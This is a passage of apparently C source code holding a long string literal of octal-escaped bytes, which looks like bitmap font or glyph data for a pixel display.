\"\\0\\0\\0\\0\\0\\0\\200\\360\\370\\374\\376\\377\\377\\377\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\376\\374\"\n  \"\\70\\20\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\370\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\37\\77\\77\\177\\177~\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\377\\377\\377\\377\"\n  \"\\377\\376\\370\\0\\0\\70~\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\3\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300\\300\\37\\377\\377\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\"\n  \"\\377\\377\\77\\7\\0\\0\\3\\37\\377\\377\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\177\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\200\\360\\377\\377\\377\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\377\\376\\360\\340\\374\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\300\\374\\376\\376\\376\\360\\200\\0\\0\\0\\0\\0\\0\\300\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\360\\0\\0\\0\\0\\300\\374\\377\\377\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\17\\0\\37\\377\\377\\377\\377\\377\\374\\0\\340\\376\\377\\377\\377\\37\\3\\7\\77\\377\\377\\377\\377\\370\\300\\340\\377\\377\\377\"\n  \"\\377\\377\\3\\0\\0\\0\\7\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\1\\0\\0\\0\\0\\3\\77\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\1\\177\\377\\377\\377\\377\\377\\37\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\77\\377\\377\\377\\377\\377\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\3\\17\\77\\177\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\177\\37\"\n  \"\\7\\3\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\\360\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\377\\377\\377\\377\\377\\303\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\377\\377\\377\\77\\17\\3\\17\\77\\177\\377\\377\\377\\376\\370\\340\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\"\n  \"\\370\\340\\200\\0\\7\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\377\\377\\377\\377\\374\\376\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\317\\357\\377\\377\\377\\377\\377\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\377\\377\\357\\343\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\360\\360\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\20p\\370\\370\\374\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\377\\377\\370\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37\\17\\17\"\n  \"\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\377\\177\\377\\377\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\177\\37\\17\\3\\1\\0\\0\\3\\17\\77\\177\\377\\377\\377\\374\\360\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\340\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\177\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\360\\360\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\177\\377\\377\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\7\\7\\7\\7\\7\\3\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~~~\\376\\376\\374\\374\\370\\370\"\n  \"\\360\\340\\300\\200\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\\37\"\n  \"\\17\\3\\1\\0\\0\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\376\\377\"\n  \"~<\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\"\n  \"\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\370\\370\\360\\340\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\77\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\37\\77\\377\\377\\377\\377\\376\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  